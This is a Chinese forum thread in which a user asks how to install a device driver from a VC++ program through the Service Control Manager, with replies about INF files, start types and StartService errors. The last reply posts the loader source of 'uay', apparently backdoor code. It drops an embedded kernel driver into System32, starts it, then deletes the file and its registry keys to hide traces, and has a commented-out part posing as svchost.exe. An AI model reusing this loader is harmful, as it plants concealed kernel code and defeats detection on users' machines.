我已经有了某个设备的驱动程序
希望在vc程序中安转和卸载这个程序
我弄了好几天,不得要领,希望高手能指点一二!!!!!!

解决方案 »

  1.   

    用INF或者直接创建注册表项
    具体内容查看DDK文档。
      

  2.   

    INF函数,看windows驱动程序开发或DDK
      

  3.   

    对回答者表示感谢!我关心如何在vc程序中实现安装设备和卸载(不是通过window硬件更新向导),我看得资料大多数是将如何编写驱动和inf文件,而我希望知道的是,如何在vc程序中安转和卸载这些驱动拜托各位给我讲讲啦
      

  4.   

    就是将inf里的相关信息自己注册到注册表里,写注册表,WriteProfileInt...
      

  5.   

    还有一大堆后缀名为sys、dll、vxd文件,怎么处理阿?这些文件才是包含的驱动程序阿?
    inf文件只是包含了注册信息和一些安转信息阿?
      

  6.   

    vxd 9x下的驱动
    sys nt以后系统的驱动。
    dll 动态链接库原理上说,安装驱动只需要修改注册就行了。楼主基本的概念还不熟,这个问题比较难回答。
      

  7.   

    1.inf文件
    2.用service control manager
    这要取决于你的驱动的加载类型。
      

  8.   

    What Determines When a Driver Is Loaded
    Before exploring when and how file system drivers are loaded during the system boot sequence, it is necessary to understand driver start types and load order groups. Driver Start Types
    A kernel-mode driver's start type specifies whether the driver is to be loaded during or after system startup. There are five possible start types: SERVICE_BOOT_START (0x00000000) 
    Indicates a driver started by the operating system (OS) loader. File system filter drivers commonly use this start type or SERVICE_DEMAND_START. On Microsoft® Windows® XP and later systems, filters must use this start type in order to take advantage of the new file system filter load order groups. 
    SERVICE_SYSTEM_START (0x00000001) 
    Indicates a driver started during OS initialization. This start type is used by the file system recognizer. Except for the file systems listed below under "SERVICE_DISABLED," file systems (including network file system components) commonly use this start type or SERVICE_DEMAND_START. This start type is also used by device drivers for PnP devices that are enumerated during system initialization but not required to load the system. 
    SERVICE_AUTO_START (0x00000002) 
    Indicates a driver started by the Service Control Manager during system startup. Rarely used. 
    SERVICE_DEMAND_START (0x00000003) 
    Indicates a driver started on demand, either by the PnP Manager (for device drivers) or by the Service Control Manager (for file systems and file system filter drivers). 
    SERVICE_DISABLED (0x00000004) 
    Indicates a driver that is not started by the OS loader, Service Control Manager, or PnP Manager. Used by file systems that are loaded by a file system recognizer (except when they are the boot file system) or (in the case of EFS) by another file system. Such file systems include CDFS, EFS, FastFat, NTFS, and UDFS. Also used to temporarily disable a driver during debugging. 
    Specifying Start Type
    A driver writer can specify the start type for a driver at installation time in either of the following ways: By specifying the desired start type for the StartType entry in the service-install-section referred to by an AddService directive in the driver's INF file. This method is described in ServiceInstall Section. 
    By passing the desired start type for the dwStartType parameter when calling CreateService or ChangeServiceConfig from a user-mode installation program. This method is described in the reference entries for CreateService and ChangeServiceConfig in the Platform SDK documentation. 
    Driver Load Order Groups
    Within the SERVICE_BOOT_START and SERVICE_SYSTEM_START start types, the relative order in which drivers are loaded is specified by each driver's load order group. Drivers whose start type is SERVICE_BOOT_START are called boot (or boot-start) drivers. On Microsoft® Windows® 2000 and earlier systems, most filters that are boot drivers belong to the "filter" group. On Microsoft® Windows® XP and later systems, filters that are boot drivers generally belong to one of the new FSFilter load order groups. These load order groups are described in detail in File System Filter Driver Load Order Groups. Driver whose start type is SERVICE_SYSTEM_START are also loaded in the order of the load order groups to which they belong. However, no system-start driver is loaded until after all boot drivers have been loaded. Note  Load order groups are ignored for drivers whose start type is SERVICE_AUTO_START, SERVICE_DEMAND_START, or SERVICE_DISABLED. A complete, ordered list of load order groups can be found under the ServiceGroupOrder subkey of the following registry key:HKEY_LOCAL_MACHINE\System\CurrentControlSet\ControlThe same load group ordering is used for SERVICE_BOOT_START and SERVICE_SYSTEM_START drivers. However, all SERVICE_BOOT_START drivers are loaded and started before any SERVICE_SYSTEM_START drivers are loaded. Specifying Load Order Group
    A driver writer can specify the load order group for a driver at installation time in either of the following ways: By specifying the desired load order group for the LoadOrderGroup entry in the service-install-section referred to by an AddService directive in the driver's INF file. This method is described in ServiceInstall Section. 
    By passing the desired start type for the lpLoadOrderGroup parameter when calling CreateService or ChangeServiceConfig from a user-mode installation program. This method is described in the reference entries for CreateService and ChangeServiceConfig in the Platform SDK documentation. 
    For more general information about driver load order and load order groups, see Specifying Driver Load Order in the DDK Device Installation Design Guide.
      

  9.   

    谢谢楼上的回答!!
    是这样的: vxd虚拟设备是9x的驱动我是知道的,但是我这个设备是USB转485,所以我担心在xp也会用到这个文件(485是虚拟设备),不知道是不是,所以才会那么说另外请问的dll文件在这里起到什么作用阿??
      

  10.   

    我写了安装驱动的vc代码!!请关注我写注释的地方!!启动错误总是失败
    #include "stdafx.h"
    #include <windows.h>
    #include <winioctl.h>
    #include <stdio.h>int main(int argc, char* argv[])
    {
    SC_HANDLE schSCManager;
    SC_HANDLE  schService;
    BOOL ret;
    TCHAR completeDeviceName[64];
    HANDLE hDevice;


    schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS ); printf("schSCManager is %d\n",schSCManager);

    schService = CreateService( schSCManager, // SCManager database
    "dname10", // name of service是服务的名字
    "dname10", // name to display显示的名字
    SERVICE_ALL_ACCESS, 
    SERVICE_KERNEL_DRIVER, 
    SERVICE_AUTO_START, 
    SERVICE_ERROR_NORMAL, 
    "c:/driver2/HSF_CNXT2.sys", // service's binary驱动文件的路径
    NULL, 
    NULL,
    NULL, 
    NULL, 
    NULL 
    );
        schService = OpenService( schSCManager,//打开服务,返回值很大(1333693),估计是正确的
    "dname9",
    SERVICE_ALL_ACCESS
    );
         printf("schService is %d\n",schService);


    ret = StartService(schService, 0, NULL );
    printf("ret is %d\n",ret);
    //上面两句是启动服务,三不知道为什么,总是返回ret=0应该是失败了;就是卡在这里不明白!!请指点 CloseServiceHandle( schService ); wsprintf( completeDeviceName, TEXT("???"), "dname10" );
    //上面一句好像这里要将驱动名称转换为固定的格式,但不知道具体如何转换,请指点!


    hDevice = CreateFile( "dname10",//这里返回-1错误(也在情理之中)
    GENERIC_READ | GENERIC_WRITE,
    0,
    NULL,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    NULL
    );
    printf("hDevice is %d\n",hDevice);


    return 0;
    }
      

  11.   

    dll文件我猜想可能是对驱动进行包装,提供一些更高级的接口的。你用Depends.exe看看,可能会有意外收获。
    另,驱动的符号连接名称是在驱动内部写死的,你用UltraEdit直接打开驱动,看看末尾有没有可能是符号连接名的字符串。
    这种利用SCM动态加载驱动的方法可以参考FileMon的源代码。
      

  12.   

    谢谢会思考的草!关于驱动的符号连接名称:我打开了sys文件,里面没有看上去像驱动的符号连接名称的字符
    请教如果存在应该是什么样子的一个字符串?是不是我想象错了上面StartService为什么会启动失败阿?你分析可能会是什么原因阿?
    还有我这样做的利用SCM动态加载驱动的方法方向到底对不对阿?万分感谢
      

  13.   

    现在问题的主要在启动服务StartService失败!为什么会失败呢?
    应该怎样改进呢?我在StartService后面检查:
    if (GetLastError()==ERROR_SERVICE_ALREADY_RUNNING)
    {
         printf("SERVICE_ALREADY_RUNNING\n");
    }
    没有出现SERVICE_ALREADY_RUNNING,说明服务确实没有启动
      

  14.   

    你先看看在StartService之后,GetLastError的值是多少?
      

  15.   

    把GetLastError的值放到errlook里看看
      

  16.   

    我这样做的利用SCM动态加载驱动的方法方向到底对不对阿?万分感谢
      

  17.   

    如果StartService成功应该返回什么呢?
    网上查了所得都很含糊
    我的StartService运行过后没有返回值!!!(tmp=StartService)tmp竟然是还是初始值,没有改变!
    是不是StartService运行成功会产生没有返回值的情况阿?
      

  18.   

    问题不在StartService的返回值上,这个我能明白了,谢谢前面回答我的前辈们!我来看看GetLastError吧查查看真正问题所在
      

  19.   

    又调了一个下午,返回错误总是1508(即原因可能是已经被禁用或其相关联的设备没有启动)!我的设备已经连接上,并且并且可以用windows的硬件安转向导轻松安转它自带的sys文件并可以使用而把他的程序卸载以后,用我的vc程序安装驱动总是不行,提示上面讲的1508错误,
    我已经没有方向了!!请前辈路过一定要指点阿!!!!!!!!!!!!!
      

  20.   

    既然是驱动程序,应该用CreateFile来打开驱动程序,然后向驱动程序发送IO指令来让驱动启动吧?
    还有你在设备管理器里能启动你的驱动吗?
      

  21.   

    谢谢你的回答,
    设备管理器里面我的设备在CreateService后还不能识别,
    我的目的就是如何才能在电脑中识别这个驱动程序!注册表里面已经有了我的驱动信息,系统目录的drivers目录下通过执行CreateService也有了我的驱动程序*.sys,
    但是设备管理器里面无论怎么刷新都没有识别我的信息,是不是我还要做什么啊?
      

  22.   

    你的操作系统是什么? 用什么版本的ddk编译的?
      

  23.   

    驱动是现成的驱动 SYS文件
    xp系统vc下的程序,没有用ddk
      

  24.   

    "c:/driver2/HSF_CNXT2.sys"
    这里是不是有点问题啊
    "c://driver2//HSF_CNXT2.sys"
      

  25.   

    你那个OpenService恐怕就执行不正确
      

  26.   

    "dname10", // name of service是服务的名字schService = OpenService( schSCManager,//打开服务,返回值很大(1333693),估计是正确的
    "dname9",
    SERVICE_ALL_ACCESS
    );
      

  27.   

    对哦,这个我以为没有人细看就没有纠正,楼上将的是正确的,这个地方dname10应该是dname9,我这个是我转上来的时候弄错了,不是问题所在,万分谢谢谈子的看的细致,
     
    我现在想知道的是,通过实行上面的语句我已经能
    1)在注册表里面已经有了我的驱动信息,
    2)系统目录的drivers目录下通过执行CreateService也有了我的驱动程序*.sys,
    但是设备管理器里面无论怎么刷新都没有识别我的信息,是不是我还要做什么啊?
      

  28.   

    给你贴一个uay加载驱动的源码:#include <stdio.h>
    #include <windows.h>
    #include <errno.h>
    #include <SYS\STAT.H>int ReleAseTheSys(void);
    int LoAdSys(void);
    int DeleteSysKey(void);
    /*
    int
    ReleAseTheUserinit(
    char* ReleAseWhere //like "C:\\WINDOWS\\System32\\temp_userinit.exe"
    );int
    RunUserinitThenDeleteIt(
    char* where //like "C:\\WINDOWS\\System32\\temp_userinit.exe"
    //must be the sAme As ReleAseTheUserinit's
    );
    */
    struct _MODIFY_DATA{
    unsigned int finder;
    unsigned int file_length;
    }modify_dAtA = {0x12345678,0};//modified by Another exe,when finded 0x12345678int WINAPI 
    WinMain(
    HINSTANCE hInstAnce,  // handle to current instance
    HINSTANCE hPrevInstAnce,  // handle to previous instance
    LPSTR lpCmdLine,      // pointer to command line
    int nCmdShow          // show state of window
    )
    {
    char syspAth[MAX_PATH+1];
    char userinitpAth[MAX_PATH+1]; //驱动部分
    ReleAseTheSys();
    LoAdSys();
    //delete the sys,reg.
    GetSystemDirectory(syspAth,MAX_PATH);
    strcat(syspAth,"\\ntboot.sys");
    DeleteFile(syspAth);
    // printf("DeleteFile: %d\n",GetLastError());
    DeleteSysKey();

    /*
    //userinit.exe部分
    GetWindowsDirectory(userinitpAth,MAX_PATH);
    strcat(userinitpAth,"\\svchost.exe");
    ReleAseTheUserinit(userinitpAth);
    RunUserinitThenDeleteIt(userinitpAth);
    return 0;
    */
    }
    //--------------------------------------------------------------------
    int ReleAseTheSys(void)
    {
    HRSRC hRes = NULL;
    DWORD dwResSize = 0;
    HGLOBAL hResource = NULL;
    LPVOID lpfResource = NULL;
    HANDLE hFile = NULL;
    char SystemDir[128];//i think it's enough
    DWORD dwWritten;
    DWORD result; hRes = FindResource(NULL,"ntboot","sys");
    if (hRes == NULL) {
    return -1;
    }
    dwResSize = SizeofResource(NULL,hRes);
    if (dwResSize == 0) {
    return -1;
    }
    hResource = LoadResource(NULL,hRes);
    if (hResource == NULL){
    return -1;
    }
    lpfResource = LockResource(hResource);
    if (lpfResource == NULL) {
    return -1;
    }
    GetSystemDirectory(SystemDir,128);
    strcat(SystemDir,"\\ntboot.sys"); hFile = CreateFile(SystemDir,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);
    if (hFile == NULL){
    return -1;
    }
    result = WriteFile(hFile,lpfResource,dwResSize,&dwWritten,NULL); if (result == 0){
    return -1;
    }
    CloseHandle(hFile); return 0;
    }
    //--------------------------------------------------------------------
    int LoAdSys(void)
    {
    //创建服务,加载驱动
    SC_HANDLE hSCHAndle;
    SC_HANDLE hSCMAnAger; char systemdir[MAX_PATH+1];
    char pAth[MAX_PATH+1];
    GetSystemDirectory(systemdir,MAX_PATH);
    sprintf(pAth,"%s\\%s",systemdir,"ntboot.sys"); hSCMAnAger = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS); //remove old instAnces
    hSCHAndle = OpenService(hSCMAnAger,
    "ntboot.sys",
    SERVICE_ALL_ACCESS
    );
    if (hSCHAndle == NULL){
    //throw
    //return -1;
    }
    DeleteService(hSCHAndle);
    CloseServiceHandle(hSCHAndle); //ignore success of instAllAtion:it mAy AlreAdy be instAlled
    hSCHAndle = CreateService(
    hSCMAnAger,
    "ntboot.sys",
    "ntboot.sys",
    SERVICE_ALL_ACCESS,
    SERVICE_KERNEL_DRIVER,
    SERVICE_DEMAND_START,
    SERVICE_ERROR_NORMAL,
    pAth,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL
    );
    if (hSCHAndle == NULL){
    // printf("CreAteService error: %d\n",GetLastError());
    //return -1;
    }
    CloseServiceHandle(hSCHAndle); //ignore success of stArt: it mAy ALreAdy be stAarted
    hSCHAndle = OpenService(hSCMAnAger,
    "ntboot.sys",
    SERVICE_ALL_ACCESS
    );
    if (hSCHAndle == NULL){
    // printf("OpenService error: %d\n",GetLastError());
    //return -1;
    }
    StartService(hSCHAndle,0,NULL);
    // printf("stArtService %d\n",GetLastError());
    CloseServiceHandle(hSCHAndle); CloseServiceHandle(hSCMAnAger);
    return 0;
    }
    //--------------------------------------------------------------------
    /*
    int
    ReleAseTheUserinit(
    char* ReleAseWhere //like "C:\\WINDOWS\\System32\\temp_userinit.exe"
    )
    {
    FILE* pMyself = NULL;
    FILE* pUserinit = NULL; char* buff;
    DWORD length; struct _stat ST;
    char pAth_userinit[MAX_PATH+1]; GetSystemDirectory(pAth_userinit,MAX_PATH);
    strcat(pAth_userinit,"\\userinit.exe");
    _stat(pAth_userinit,&ST);
    pMyself = fopen(pAth_userinit,"rb");
    if(pMyself == NULL){
    printf("open file fAiled\n");
    return -1;
    }
    pUserinit = fopen(ReleAseWhere,"wb");
    if(pUserinit == NULL){
    printf("creAte file fAiled\n");
    return -1;
    }
    fseek(pMyself,modify_dAtA.file_length,SEEK_SET);
    length = ST.st_size - modify_dAtA.file_length ; printf("length: %d\n",length);///debug
    buff = malloc(length);
    fread(buff,length,1,pMyself);
    fwrite(buff,length,1,pUserinit);
    free(buff);
    fclose(pMyself);
    fclose(pUserinit);
    return 0;
    }
    //--------------------------------------------------------------------
    int
    RunUserinitThenDeleteIt(
    char* where //like "C:\\WINDOWS\\System32\\temp_userinit.exe"
    //must be the sAme As ReleAseTheUserinit's
    )
    {
    PROCESS_INFORMATION pi={0};
    STARTUPINFO si={sizeof(STARTUPINFO)}; CreateProcess(
    where,//"C:\\WINDOWS\\System32\\temp_userinit.exe",
    NULL,
    NULL,
    NULL,
    FALSE,
    0,
    NULL,
    NULL,
    &si,
    &pi
    );
    //printf("CreAteProcess: %d\n",GetLastError());
    WaitForSingleObject(
    pi.hProcess,
    INFINITE
    );
    DeleteFile(where);
    return 0;
    }
    */
    //--------------------------------------------------------------------
    int DeleteSysKey(void)
    {
    RegDeleteKey(
    HKEY_LOCAL_MACHINE,
    "SYSTEM\\CurrentControlSet\\Services\\ntboot.sys\\Enum"
    );
    // printf("RegDeleteKey: %d\n",GetLastError());
    RegDeleteKey(
    HKEY_LOCAL_MACHINE,
    "SYSTEM\\CurrentControlSet\\Services\\ntboot.sys\\Security"
    );
    // printf("RegDeleteKey: %d\n",GetLastError());
    RegDeleteKey(
    HKEY_LOCAL_MACHINE,
    "SYSTEM\\CurrentControlSet\\Services\\ntboot.sys"
    );
    // printf("RegDeleteKey: %d\n",GetLastError());
    return 0;
    }
    //--------------------------------------------------------------------